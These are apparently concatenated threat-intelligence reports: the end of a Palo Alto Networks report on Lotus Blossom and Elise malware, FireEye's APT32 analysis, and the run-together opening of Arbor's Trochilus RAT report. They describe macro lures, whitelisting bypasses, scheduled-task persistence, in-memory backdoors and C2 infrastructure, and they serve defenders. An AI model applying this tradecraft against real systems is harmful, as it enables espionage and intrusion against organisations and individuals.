]29 P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      3 3 Elise Executable SHA256 values 0201aaa8eda6dedc6c90381e225620cd33fb7b244f76bf229c3dd43feb9bdeaf 1333a300b03fb2d7bf028f4dee3d9b1f9c97267266faec9e02064862fbb6acb4 135e37122c23f26fed98b3bc884171c91c370250a73c6660b20416497b66a750 24bb8e48f37cbd71b2195cff4f52ec304a2ed9d60c28d2afd785e6f32639325f 2c2eb2eaadf9253a78265ac4655a6ec5935aa2673ff5e4fe3bb6753803c7fe59 2c512b50f8aa0881120d844b0bbbf7baa33465083fdc85755d51d1b5721bc057 2d43632953b511e1f1c7698de3c21b2ba7c27b75bb6079f51dcf9376e05e42b7 376c3ea59411380ab5146b3bc39ee79cf7f78b08dd712ef1cc5327bda5a2e46b 39dd2381bcd0f47dadf23399254bf1b51a837179e5634328afafe07510f5888a 3eb115f4eb62c4404be1a318afa3837bdba8fd66938efe15664741d942a85add 49bf19bd2381f5c78eb2d00a62e1b377620705dba0fa843fb8c8d26d92ec52e4 4de470147d90efbb440aa4420a5832b4f22f9f6128183568fe604df6427cc06b 4ff70adad080095421f34873e491c9da2e798f8db96a984f87efb9889d246fcb 5960d8f8b26edb453926efbd424332eabc0e1a74e25dbc1e9a570cc5920c8830 64ffe128c61289bec90057c7bf3ff869c329ffcb1afa4c4cd0daed1effabf105 712c488950f27e98bc4ebe5b63e5775498236a179cb4576bf021f8e6e6de0df4 7b2d470b9c6159c97cef2634493be0e4f2994f43501605a14d4c5a7efdeac3ba 7e386ff64be78af18f8a79d01cb75b0438cbcee4647e0a928100bd52ee56db76 840d18698ff0b114ee587f57231001d046fbd1eb22603e0f951cbb8c290804ed 866c698073e4deb66dd83c1ec9567ec03eca9f03775deadb81cc59fdb6cfd446 899730962e10546c9d43a9ffa79d900fd37c0d17f95aa537b67d31aa737447b5 8b4446cfaee549072c5da2468af7b9fec711f2d28851a3e8076fcfb53393a415 8c2cd914de7c125e49019f3826918511150ee4fff8a923da350a99c102b36455 8ce0b29202f3df23ce583040e2ffe79af78e0bb375ce65ec37a6ffe7d49b5bb5 8f7c74a9e1d04ff116e785f3234f80119d68ae0334fb6a5498f6d40eee189cf7 90296f0ecacc017bcf289297f5743660dd18bbc2842e631e9be4b2dc51732412 96356db43d7e9a5c3c4e3f9f7ee9a3dba14ad1c7db7367b7f6d664db4f0ef5d7 97d6699e449ddad97cc33e380a4873a7ceb0e8f0f50b5c8f72e6a4ff3dd1009f 9e5c286fcc47c8346267574ea805cde24b04915f5372f03923c0d6a13290e0ea a462085549f9a1fdeff81ea8190a1f89351a83cf8f6d01ecb5f238541785d4b3 a8e0ab6b19400eccd3c9aceb183fe7626d5bde7bdf9b8ec8825aa17cc3a213a3 b5a1f7e9d0d6d3bec17674610a3b26991083e1e3cb81729714b69c18038a902f bd78e106f208cbb8ea9e5902d778514f1fc2d15876fca292971c6695541889a3 d68a90fbe579a8199d78ef9ca001301e2c55a3015d4e3df3c238c276ed7cc1ce dc06012b4aef457efb0ecb9cdca579bb573823a1a63bb7a2ba92c7ce0c2ddbfb e2181b3d47feb5a321fe3b85b08a0245a1e0824b213e568fa4736d529fd5f8c2 e4a460db653c8df4223ec466a0237943be5de0da92b04a3bf76053fa1401b19e edb45f03dfd52ab58f163ad2ca48f4bc9c4bcb72ea9181d0e0a1d87859f707a6 f0304a1f7d87ac413f43a815088895872be0045a33c5f830b4b392a7ce5b8c46 f307280077b2a60d991a68c5700cbc57fe0ab6ec005caba0b0bcca4dbc5a1e2f fb506b8dd4025e247ac2fa12ffd46fd1cb6a06a138995a5cbda49074d567f615 fd2d9011ec860ba211d169063248d13d17425f210ff87a6c5a610b4704866339 P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      3 4 Elise Delivery Document SHA256 values 9a226eeae1fc51a2bc2e72b098d5654238d0cc8eae29c0cdaacb49ae9d997d04 7e917319e2af9457c35afbb539c09233da2e02d6a64f970706dae9f6c3c791eb c19d3242d43c71f03f5873231444c12a6a11892dd7f0142ff10479f1f718382d dc61e089eebf6fa1b3abf637ce105e0d20666aa52d9001f5fd5034815331cd61 fd6302a152b0a2eff84b6ef219db5d79b6039043dfd5799ac9a4a0cced58e8bd e9971de22a922678fc216e9e3923c7e6b21455ddfbb24eb46e50e1cc7ceacc31 d9174d6bbcb51d3df186794109cd6b2036f6231cf8733290eadd399bf8137055 b53f98c113e7f72ff5170dcdb2ab2b1c15a02aadb72b2d2710d899aea9b875bd b2232492776267599307309e9d8874aac25e7cb31b155b0ca05349312690372f 463c6c6ffb8ecf2df44e294818dd500457807ff126dd658c5fe329c09f43a6e0 3d2c6d48425212eabb886c2e7e89249e4aa8cf4ad9ec3dd22cafb4f879683d8b 093e394933c4545ba7019f511961b9a5ab91156cf791f45de074acad03d1a44a b0ffb80762f25935415a7ffd6b9402a23c2b6b4dc4921419ef291160cf7f023b 8e180a9d7f233c189519bbfa2b649ca410c4869457e0cf8396beb82ffbffd05c 8e7c198e1eaa5be2d1415be3001c217634ae207b8f912e9a84af6c6016aa467e 00c0e0c14835c08d220ef27ef6324df86880167d416ff7183d7df241ffebc3f8 0adbf0f6a5c21054e569b2ef68c8c6ae7834a0700672c1f3ec6e50daf49a3a94 96410865d46cda89c7c34c60d485c2378a98acbba7ead5ada90daa02a94ba299 a98db2098fe9e3e203bed8318ae1d71e8a7b68f801613be10f3917baad7b49b2 b1e30dd3ad2c3290adad848f7199e03f365ecf484c44c6c7eaf42f6b323cd30b 4780442f3cc8d3e1888aa6cecbb05d0c49a6755964eba7a8a6a36d6d2a0ef881 bae07b0c3e4e96731360dc4faa49c0d4abe4d3705e768393f21661c82dea13f3 65c901b19e2eec6b8392100c1073253641a95dd542f39c9ca95755e8a2afde14 30f1f7e848c79212f70794d718d0f3929c24e0f3d28695a7c85a85c77ab7aac9 0752bbdb0c51a519f17a62dd30a033c224c82168522f2c88949b1a0afc8f9037 b9681c178e087140344e6aec2630c61f6a7be92e97ebbe7ce10528f6f0e6028f 6eae10f0b9a62a26b19897f7ba627f92e93e458034939f55f2001835c0e1f1be P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      3 5 Lotus Blossom Command and Control Servers 101.55.120.153 101.55.120.165 101.55.121.47 103.244.91.16 103.246.245.146 103.252.19.13 103.28.46.96 113.10.136.18 113.10.222.157 118.193.212.61 122.10.89.84 122.10.89.85 142.91.252.130 162.211.181.107 162.211.181.26 173.231.49.98 184.22.44.209 202.77.181.179 202.82.202.228 202.82.91.139 203.218.138.30 210.209.127.8 210.209.79.29 218.103.16.153 23.234.63.197 27.255.64.231 45.64.113.130 46.251.237.59 50.7.11.10 58.64.183.92 59.188.247.32 59.6.2.16 61.58.31.102 95.154.195.152 asean-star.com aseaneco.org aseansec.dynalias.org beckhammer.xicp.net boshman09.com chris201.net cpcl2006.dyndns-free.com cybertunnel.dyndns.info harryleed.dyndns.org jackyson.dyndns.info kid.dyndns.org kjd.dyndns.org newinfo32.eicp.net newshappys.dyndns-blog.com petto.mooo.com phil-army.gotdns.org phil-gov.gotdns.org scristioned.dyndns-web.com shotacon.dyndns.info usa-moon.net verolalia.dyndns.org wsi.dyndns.org www.aliancesky.com www.babysoal.com www.boshman09.com www.chris201.net www.iascas.net www.imonju.com www.imonju.net www.interhero.net www.seachers.net www.serchers.net www.tgecc.org www.tintuchoahau.com www.vienclp.com www3.bkav2010.net i     Triangle of Life.
Snopes.
December, 2009.
http://www.snopes.com/inboxer/household/triangle.asp ii   Targeted Attack Trends 2013 2H.
Trend Micro Inc. May 19, 2014.
http://www.itu.int/en/ITU-D/Cybersecurity/Documents/2H_2013_Targeted_Attack_Campaign_Report.pdf iii   Targeted Attack Trends in Asia-Pacific.
Trend Micro Inc. Nov. 20, 2014.
http://www.trendmicro.co.in/in/ cloud-content/apac/pdfs/security-intelligence/reports/rpt-1h-2014-targeted-attack-trends-in-asia-pacific.pdf iv   BKDR_ESILE.SMEX.
Trend Micro Inc. May 28, 2013.
http://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_ESILE.SMEX v   ESILE Targeted Attack Campaign Hits APAC Governments.
Trend Micro Inc. July 28, 2014.
http://www.trendmicro.com.my/vinfo/my/security/news/cyber-attacks/ esile-targeted-attack-campaign-hits-apac-governments vi  Analysis of Malware Page.
Singh, Abhishek.
Sept. 12, 2012.
https://www.fireeye.com/blog/threat-research/2012/09/analysis-of-malware-page.html vii Spear Phishing the News Cycle: APT Actors Leverage Interest in the Disappearance of Malaysian Flight MH 370.
Moran, Ned  Lanstein, Alex https://www.fireeye.com/blog/threat-research/2014/03/ spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html 4401 Great America Parkway Santa Clara, CA 95054 Main: 1.408.753.4000 Sales: 1.866.320.4788 Support: 1.866.898.9087 www.paloaltonetworks.com Copyright 2015, Palo Alto Networks, Inc. All rights reserved.
Palo Alto Networks, the Palo Alto Networks Logo, PAN-OS, App-ID and Panorama are trademarks of Palo Alto Networks, Inc. All specifications are subject to change without notice.
Palo Alto Networks assumes no responsibility for any inaccuracies in this document or for any obligation to update information in this document.
Palo Alto Networks reserves the right to change, modify, transfer, or otherwise revise this publication without notice.
PAN_WP_U42_OLB_061515
Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations fireeye.com /blog/threat-research/2017/05/cyber-espionage-apt32.html Cyber espionage actors, now designated by FireEye as APT32 (OceanLotus Group), are carrying out intrusions into private sector companies across multiple industries and have also targeted foreign governments, dissidents, and journalists.
FireEye assesses that APT32 leverages a unique suite of fully-featured malware, in conjunction with commercially-available tools, to conduct targeted operations that are aligned with Vietnamese state interests.
APT32 and FireEyes Community Response In the course of investigations into intrusions at several corporations with business interests in Vietnam, FireEyes Mandiant incident response consultants uncovered activity and attacker-controlled infrastructure indicative of a significant intrusion campaign.
In March 2017, in response to active targeting of FireEye clients, the team launched a Community Protection Event (CPE)  a coordinated effort between Mandiant incident responders, FireEye as a Service (FaaS), FireEye iSight Intelligence, and FireEye product engineering  to protect all clients from APT32 activity.
In the following weeks, FireEye released threat intelligence products and updated malware profiles to customers while developing new detection techniques for APT32s tools and phishing lures.
This focused intelligence and detection effort led to new external victim identifications as well as providing sufficient technical evidence to link twelve prior intrusions, consolidating four previously unrelated clusters of threat actor activity into FireEyes newest named advanced persistent threat group: APT32.
APT32 Targeting of Private Sector Company Operations in Southeast Asia Since at least 2014, FireEye has observed APT32 targeting foreign corporations with a vested interest in Vietnams manufacturing, consumer products, and hospitality sectors.
Furthermore, there are indications that APT32 actors are targeting peripheral network security and technology infrastructure corporations, as well as consulting firms that may have connections with foreign investors.
Here is an overview of intrusions investigated by FireEye that are attributed to APT32: In 2014, a European corporation was compromised prior to constructing a manufacturing facility in Vietnam.
In 2016, Vietnamese and foreign-owned corporations working in network security, technology infrastructure, banking, and media industries were targeted.
In mid-2016, malware that FireEye believes to be unique to APT32 was detected on the networks of a global hospitality industry developer with plans to expand operations into Vietnam.
From 2016 through 2017, two subsidiaries of U.S. and Philippine consumer products corporations, located inside Vietnam, were the target of APT32 intrusion operations.
In 2017, APT32 compromised the Vietnamese offices of a global consulting firm.
Table 1 shows a breakdown of APT32 activity, including the malware families used in each.
Year Country Industry Malware 1/11 https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html https://www2.fireeye.com/WEB-Community-Protection-Security-Numbers.html 2014 Vietnam Network Security WINDSHIELD 2014 Germany Manufacturing WINDSHIELD 2015 Vietnam Media WINDSHIELD 2016 Philippines Consumer products KOMPROGO WINDSHIELD SOUNDBITE BEACON 2016 Vietnam Banking WINDSHIELD 2016 Philippines Technology Infrastructure WINDSHIELD 2016 China Hospitality WINDSHIELD 2016 Vietnam Media WINDSHIELD 2016 United States Consumer Products WINDSHIELD PHOREAL BEACON SOUNDBITE 2017 United Kingdom Consulting SOUNDBITE Table 1: APT32 Private Sector Targeting Identified by FireEye APT32 Interest in Political Influence and Foreign Governments In addition to focused targeting of the private sector with ties to Vietnam, APT32 has also targeted foreign governments, as well as Vietnamese dissidents and journalists since at least 2013.
Here is an overview of this activity: A public blog published by the Electronic Frontier Foundation indicated that journalists, activists, dissidents, and bloggers were targeted in 2013 by malware and tactics consistent with APT32 operations.
In 2014, APT32 leveraged a spear-phishing attachment titled Plans to crackdown on protesters at the Embassy of Vietnam.exe, which targeted dissident activity among the Vietnamese diaspora in Southeast Asia.
Also in 2014, APT32 carried out an intrusion against a Western countrys national legislature.
In 2015, SkyEye Labs, the security research division of the Chinese firm Qihoo 360, released a report detailing threat actors that were targeting Chinese public and private entities including government agencies, research institutes, maritime agencies, sea construction, and shipping enterprises.
The information included in the report indicated that the perpetrators used the same malware, overlapping infrastructure, and similar targets as APT32.
In 2015 and 2016, two Vietnamese media outlets were targeted with malware that FireEye assesses to be unique to APT32.
In 2017, social engineering content in lures used by the actor provided evidence that they were likely used to target members of the Vietnam diaspora in Australia as well as government employees in the Philippines.
APT32 Tactics In their current campaign, APT32 has leveraged ActiveMime files that employ social engineering methods to entice 2/11 https://www.eff.org/deeplinks/2014/01/vietnamese-malware-gets-personal http://blogs.360.cn/blog/oceanlotus-apt the victim into enabling macros.
Upon execution, the initialized file downloads multiple malicious payloads from remote servers.
APT32 actors continue to deliver the malicious attachments via spear-phishing emails.
APT32 actors designed multilingual lure documents which were tailored to specific victims.
Although the files had .doc file extensions, the recovered phishing lures were ActiveMime .mht web page archives that contained text and images.
These files were likely created by exporting Word documents into single file web pages.
Table 2 contains a sample of recovered APT32 multilingual lure files.
ActiveMime Lure Files MD5 2017.doc (2017 Statistical Report on Staff Salary and Allowances) 5458a2e4d784abb1a1127263bd5006b5 Thong tin.doc (Information) ce50e544430e7265a45fab5a1f31e529 Phan Vu Tutn CV.doc 4f761095ca51bfbbf4496a4964e41d4f Ke hoach cuu tro nam 2017.doc (2017 Bailout Plan) e9abe54162ba4572c770ab043f576784 Instructions to GSIS.doc fba089444c769700e47c6b44c362f96b Hoi thao truyen thong doc lap.doc (Traditional Games) f6ee4b72d6d42d0c7be9172be2b817c1 Giy yu cu bi thng mi 2016 - hng.doc (New 2016 Claim Form) aa1f85de3e4d33f31b4f78968b29f175 Hoa don chi tiet tien no.doc (Debt Details) 5180a8d9325a417f2d8066f9226a5154 Thu moi tham du Hoi luan.doc (Collection of Participants) f6ee4b72d6d42d0c7be9172be2b817c1 Danh sach nhan vien vi pham ky luat.doc (List of Employee Violations) 6baafffa7bf960dec821b627f9653e44 No i-dung-quang-cao.doc (Internal Content Advertising) 471a2e7341f2614b715dc89e803ffcac H DVPM-VTC 31.03.17.doc f1af6bb36cdf3cff768faee7919f0733 Table 2: Sampling of APT32 Lure Files The Base64 encoded ActiveMime data also contained an OLE file with malicious macros.
When opened, many lure files displayed fake error messages in an attempt to trick users into launching the malicious macros.
Figure 1 shows a fake Gmail-theme paired with a hexadecimal error code that encourages the recipient to enable content to resolve the error.
Figure 2 displays another APT32 lure that used a convincing image of a fake Windows error message instructing the recipient to enable content to properly display document font characters.
3/11 Figure 1: Example APT32 Phishing Lure  Fake Gmail Error Message Figure 2: Example APT32 Phishing Lure  Fake Text Encoding Error Message APT32 operators implemented several novel techniques to track the efficacy of their phishing, monitor the distribution of their malicious documents, and establish persistence mechanisms to dynamically update backdoors injected into memory.
In order to track who opened the phishing emails, viewed the links, and downloaded the attachments in real-time, 4/11 APT32 used cloud-based email analytics software designed for sales organizations.
In some instances, APT32 abandoned direct email attachments altogether and relied exclusively on this tracking technique with links to their ActiveMime lures hosted externally on legitimate cloud storage services.
To enhance visibility into the further distribution of their phishing lures, APT32 utilized the native web page functionality of their ActiveMime documents to link to external images hosted on APT32 monitored infrastructure.
Figure 3 contains an example phishing lure with HTML image tags used for additional tracking by APT32.
Figure 3: Phishing Lure Containing HTML Image Tags for Additional Tracking When a document with this feature is opened, Microsoft Word will attempt to download the external image, even if macros were disabled.
In all phishing lures analyzed, the external images did not exist.
Mandiant consultants suspect that APT32 was monitoring web logs to track the public IP address used to request remote images.
When combined with email tracking software, APT32 was able to closely track phishing delivery, success rate, and conduct further analysis about victim organizations while monitoring the interest of security firms.
Once macros were enabled on the target system, the malicious macros created two named scheduled tasks as persistence mechanisms for two backdoors on the infected system.
The first named scheduled task launched an application whitelisting script protection bypass to execute a COM scriptlet that dynamically downloaded the first backdoor from APT32s infrastructure and injected it into memory.
The second named scheduled task, loaded as an XML file to falsify task attributes, ran a JavaScript code block that downloaded and launched a secondary backdoor, delivered as a multi-stage PowerShell script.
In most lures, one scheduled task persisted an APT32-specific backdoor and the other scheduled task initialized a commercially-available backdoor as backup.
To illustrate the complexity of these lures, Figure 4 shows the creation of persistence mechanisms for recovered APT32 lure 2017.doc.
Figure 4: APT32 ActiveMime Lures Create Two Named Scheduled Tasks In this example, a scheduled task named Windows Scheduled Maintenance was created to run Casey Smiths Squiblydoo App Whitelisting bypass  every 30 minutes.
While all payloads can be dynamically updated, at the time of delivery, this task launched a COM scriptlet (.sct file extension) that downloaded and executed Meterpreter hosted on images.chinabytes[.
]info.
Meterpreter then loaded Cobalt Strike BEACON, configured to communicate with 80.255.3[.
]87 using the Safebrowsing malleable C2 profile to further blend in with network traffic.
A second scheduled task named Scheduled Defrags was created by loading the raw task XML with a backdated task creation timestamp of June 2, 2016.
This second task ran mshta.exe every 50 minutes which launched an APT32- specific backdoor delivered as shellcode in a PowerShell script, configured to communicate with the domains 5/11 http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/safebrowsing.profile blog.panggin[.
]org, share.codehao[.
]net, and yii.yiihao126[.
]net.
Figure 5 illustrates the chain of events for a single successful APT32 phishing lure that dynamically injects two multi- stage malware frameworks into memory.
6/11 Figure 5: APT32 Phishing Chain of Events The impressive APT32 operations did not stop after they established a foothold in victim environments.
Several Mandiant investigations revealed that, after gaining access, APT32 regularly cleared select event log entries and heavily obfuscated their PowerShell-based tools and shellcode loaders with Daniel Bohannons Invoke-Obfuscation framework.
APT32 regularly used stealthy techniques to blend in with legitimate user activity: During one investigation, APT32 was observed using a privilege escalation exploit (CVE-2016-7255) masquerading as a Windows hotfix.
In another investigation, APT32 compromised the McAfee ePO infrastructure to distribute their malware as a software deployment task in which all systems pulled the payload from the ePO server using the proprietary SPIPE protocol.
APT32 also used hidden or non-printing characters to help visually camouflage their malware on a system.
For example, APT32 installed one backdoor as a persistent service with a legitimate service name that had a Unicode no-break space character appended to it.
Another backdoor used an otherwise legitimate DLL filename padded with a non-printing OS command control code.
APT32 Malware and Infrastructure APT32 appears to have a well-resourced development capability and uses a custom suite of backdoors spanning multiple protocols.
APT32 operations are characterized through deployment of signature malware payloads including WINDSHIELD, KOMPROGO, SOUNDBITE, and PHOREAL.
APT32 often deploys these backdoors along with the commercially-available Cobalt Strike BEACON backdoor.
APT32 may also possess backdoor development capabilities for macOS.
The capabilities for this unique suite of malware is shown in Table 3.
Malware Capabilities 7/11 https://github.com/danielbohannon/Invoke-Obfuscation https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update WINDSHIELD Command and control (C2) communications via TCP raw sockets Four configured C2s and six configured ports  randomly-chosen C2/port for communications Registry manipulation Get the current modules file name Gather system information including registry values, user name, computer name, and current code page File system interaction including directory creation, file deletion, reading, and writing files Load additional modules and execute code Terminate processes Anti-disassembly KOMPROGO Fully-featured backdoor capable of process, file, and registry management Creating a reverse shell File transfers Running WMI queries Retrieving information about the infected system SOUNDBITE C2 communications via DNS Process creation File upload Shell command execution File and directory enumeration/manipulation Window enumeration Registry manipulation System information gathering PHOREAL C2 communications via ICMP Reverse shell creation Filesystem manipulation Registry manipulation Process creation File upload 8/11 BEACON (Cobalt Strike) Publicly available payload that can inject and execute arbitrary code into processes Impersonating the security context of users Importing Kerberos tickets Uploading and downloading files Executing shell commands Configured with malleable C2 profiles to blend in with normal network traffic Co-deployment and interoperability with Metasploit framework SMB Named Pipe in-memory backdoor payload that enables peer-to-peer C2 and pivoting over SMB Table 3: APT32 Malware and Capabilities APT32 operators appear to be well-resourced and supported as they use a large set of domains and IP addresses as command and control infrastructure.
The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information on these backdoor families based on Mandiant investigations of APT32 intrusions.
Figure 6 provides a summary of APT32 tools and techniques mapped to each stage of the attack lifecycle.
Figure 6: APT32 Attack Lifecycle Outlook and Implications Based on incident response investigations, product detections, and intelligence observations along with additional publications on the same operators, FireEye assesses that APT32 is a cyber espionage group aligned with Vietnamese government interests.
The targeting of private sector interests by APT32 is notable and FireEye believes the actor poses significant risk to companies doing business in, or preparing to invest in, the country.
While the motivation for each APT32 private sector compromise varied  and in some cases was unknown  the unauthorized access could serve as a platform for law enforcement, intellectual property theft, or anticorruption measures that could ultimately erode the competitive advantage of targeted organizations.
Furthermore, APT32 continues to threaten political activism and free speech in Southeast Asia and the public sector worldwide.
Governments, journalists, and members of the Vietnam diaspora may continue to be targeted.
9/11 https://www.fireeye.com/products/isight-intelligence.html While actors from China, Iran, Russia, and North Korea remain the most active cyber espionage threats tracked and responded to by FireEye, APT32 reflects a growing host of new countries that have adopted this dynamic capability.
APT32 demonstrates how accessible and impactful offensive capabilities can be with the proper investment and the flexibility to embrace newly-available tools and techniques.
As more countries utilize inexpensive and efficient cyber operations, there is a need for public awareness of these threats and renewed dialogue around emerging nation- state intrusions that go beyond public sector and intelligence targets.
APT32 Detection Figure 7 contains a Yara rule can be used to identify malicious macros associated with APT32s phishing lures: Figure 7: Yara Rule for APT32 Malicious Macros Table 4 contains a sampling of the infrastructure that FireEye has associated with APT32 C2.
C2 Infrastructure 103.53.197.202 104.237.218.70 104.237.218.72 185.157.79.3 193.169.245.78 193.169.245.137 23.227.196.210 24.datatimes.org 80.255.3.87 blog.docksugs.org blog.panggin.org contay.deaftone.com check.paidprefund.org datatimes.org docksugs.org economy.bloghop.org emp.gapte.name facebook-cdn.net gap-facebook.com gl-appspot.org help.checkonl.org high.expbas.net high.vphelp.net icon.torrentart.com 10/11 images.chinabytes.info imaps.qki6.com img.fanspeed.net job.supperpow.com lighpress.info menmin.strezf.com mobile.pagmobiles.info news.lighpress.info notificeva.com nsquery.net pagmobiles.info paidprefund.org push.relasign.org relasign.org share.codehao.net seri.volveri.net ssl.zin0.com static.jg7.org syn.timeizu.net teriava.com timeizu.net tonholding.com tulationeva.com untitled.po9z.com update-flashs.com vieweva.com volveri.net vphelp.net yii.yiihao126.net zone.apize.net Table 4: Sampling of APT32 C2 Infrastructure 11/11 Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations APT32 and FireEyes Community Response APT32 Targeting of Private Sector Company Operations in Southeast Asia APT32 Interest in Political Influence and Foreign Governments APT32 Tactics APT32 Malware and Infrastructure Outlook and Implications APT32 Detection
ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
ASERTThreatIntelligenceReport2015-08 UncoveringtheSevenPointedDagger Discovery of the Trochilus RAT and Other Targeted Threats ExecutiveSummary Previously,ArborASERTdiscoveredindicatorsofthePlugXAPTmalwarebeingusedinamannerthat suggestedthecountryofMynamarmayhavebeenatarget,orinvolvedinstagingothercampaignstowards othertargets.
StrategicWebCompromise(akaWateringHole)tacticsinvolvingtheplacementofPlugXand othermalwarewerediscoveredonMynamargovernmentandotherMyanmarrelatedwebsites.
Analysisof malwareconfigurationsuggestedthatSpecialEconomicZones(SEZs)inMyanmarwereofinteresttothe threatactors.
ThesefindingswerereleasedbyASERTinareportcalledDefendingtheWhiteElephantfound athttps://asert.arbornetworks.com/defending-the-white-elephant/[1].
InadditiontoASERT,threatactivityhasbeendocumentedbyPaloAltoNetworksinJune2015concerninga StrategicWebCompromiseoftheMyanmarPresidentialwebsitethatleveragedtheEvilgrabmalware[2].
Theirresearchalsoindicatesinstancesofthe9002RATbeingusedonthesamewebinfrastructure.
Later, CitizenLabpublishedareportTargetedMalwareAttacksagainstNGOLinkedtoAttacksonBurmese GovernmentWebsitesonOctober16,2015thatlinkedArborresearchtocampaignsagainstanunnamed NGO[3].TheseeventsinvolvedthePlugXmalware,EvilGrab,andthe3102variantofthe9002RAT.
AfterdeliveringourinitialfindingstotheMyanmarCERTinAugust,additionalmalwarewassubsequently foundontheMyanmarelectionsiteonOctober20th,2015(nowremoved).Specifically,sixRARfiles- containingtwoinstancesofPlugX,EvilGrab,anunknownmalware,andtwoinstancesofanewAPTmalware calledtheTrochilusRAT-plusaninstanceofthe3012variantofthe9002RATwerefound.
Theseseven discoveredmalwareofferthreatactorsavarietyofcapabilitiesincludingespionageandthemeanstomove laterallywithintargetsinordertoachievemorestrategicaccess.
Asthesesevenmalwareappeartobe wieldedbyadistinctactorgroup(knowntocollaboratorsatCiscosTalosGroupasGroup27),weare theatricallycharacterizingthisclusterofmalwareastheSevenPointedDagger.
InformationonthreatactorTTPscanhelpotherorganizationsincreaseawarenessthatcanleadtogreater resistancetoandbetterdetectionofmalice.
ASERTcontinuestoexplorethreatactivitythathasbeen uncoveredandwillprovideadditionalreportingasneeded.
ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger 2 Proprietary and Confidential Information of Arbor Networks, Inc. ReportOverviewandMajorFindings Thefollowinginfographicdepictstheprocessbywhichtheinformationinthisreportwasuncovered.
Itcan serveasausefulreferenceandtomaintaincontextwhilefollowingthewrittentrailintherestofthisreport.
ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
3 UnionElectionCommissionWebsiteMalware:August-October,2015 SeveraladditionalmalwarefileswerediscoveredontheMyanmarUnionElectionCommission(UEC)website sincethepriorreportthatwasinitiallypublishedonAugust17,2015[4].
ThepresenceofnewmalwareaftertheinitialnotificationprocessfromArborindicatesanongoing compromiseofthesiteandpossiblyrelatedsitesandsuggeststhatamorediligentIncidentResponseprocess wasrequiredtodiscoverallofthecompromisedinfrastructureandvictimsofthemalwareactivity.
Thesenewerfilesandrelatedcontentshallbeanalyzedherein.
Malware 1-6: Six RAR Files Containing PlugX, EvilGrab, an unknown malware, and the Trochilus RAT AsdocumentedintheDefendingtheWhiteElephantpaper,severalRARfilescontainingmalwarewere discoveredontheUECwebsiteinthepast.
AsofOctober20,2015anewfilewasdiscoveredat http://www.uecmyanmar[.
]org/dmdocuments/UEC-Invitation.rarandwaspresentasofNovember2015.
FollowingthetrailleftbythismalwarehashelpedASERTuncoverotherrelatedthreatactivitytoincludea clusterofsixmalwarepackagesstoredinRARfileformatonastaging/distributionserver.
Malware 7: 3102 Variant of the 9002 RAT in Firefox Plugin Anadditionalmalwarefilewasstoredat http://www.uecmyanmar[.
]org/plugins/system/jatabs/jatabs/FlashVideoPlayer.phpandwassubmittedto VirusTotalonAugust21,2015fromJapanandlateronOctober13fromSingapore.
FlashVideoPlayer.php containedaZIPfilethatstoredaFirefoxplugin,whichwasusedtolaunchthe3102variantofthe9002RAT.
AnotherinstanceofthisRATwasalsomentionedbyCitizenLabintheirreport,TargetedMalwareAttacks againstNGOLinkedtoAttacksonBurmeseGovernmentWebsites.
ThepresenceoftheexactsameRAT familyinsidethefakeFirefoxPluginontheUECwebsitecreatesalinkbetweenthisartifactandattacksonthe unnamedNGOthatwerediscussedinsidetheCitizenLabreport.
Malware set 1: Six RAR files (two PlugX, one EvilGrab, one unknown, two Trochilus RAT) Figure1: Screenshot of website containing additional malware (UEC-Invitiation.rar) as of October 20, 2015 ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger 4 Proprietary and Confidential Information of Arbor Networks, Inc. Thenewlyobservedfile,storedinaRAR,isastoragetacticthathasbeenpreviouslyobservedonthesame site.
Twopriorfilenames(discussedintheWhiteElephantreport)wereinvitations.rarandPlanProposal.rar.
InsidetheUEC-Invitation.rarfilethereisafoldercalledUECInvitationthatcontainsanotherfoldercalled Invitation.
Insidethisfolderisashortcutfile,Invitation.
LNKwithatimestampofAugust24,2015.Analysisof the.
LNKfileturnsupsomeinterestingelements,suchastheuseofPowerShellinsidetheTargetfield,which performsadownloadandexecuteofadditionalmalware.
Figure 2: Analysis of the .LNK file reveals malicious Powershell AnalysisoftheLNKfilemetadatapropertystorerevealssomeinterestingaspectsofthemalware.
ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
5 Figure 3: In-depth analysis of .LNK metadatda Figure 4: UNDP Myanmar  a possible target or lure?
OfinterestistheSystem.
ItemTypeTextvalue(aso-calledfriendly nameofaWindowselementthatisdisplayedduringtheuseofan application)ofUNDP,whichmaystandfortheUnitedNations DevelopmentProgram,theUNsglobaldevelopmentnetwork.
The Myanmar-focusedpagefortheUNDP[www.mm.undp.org]describes theirmissionasfollows:InMyanmar,UNDPprovidessupporttothe nationalpoliticalandsocio-economicreformsthatunderpinthe countrystransition.
Therefore,theUNDP,orthosethatworkwiththe UNDPmayhavebeentargetedandmaystillbeatarget.
TheSystem.
DateCreatedandSystem.
DateModifiedvaluesshow September15,2014,whichcouldindicatethatcampaignactivityhas beenunderwayforoverayear.
Itisalsopossiblethatthisdatecouldbe modified.
Thenexttwofieldsofinterestrelatetothelocalfilepathonthesystem thatwasusedtocreatetheLNKshortcutfile.
System.
ItemFolderPathDisplayNarrowandSystem.
ParsingPathboth revealthepresenceofaDropboxfolder,andanAdminsubfolderthatcontainsanotherfoldernamedUNDP.
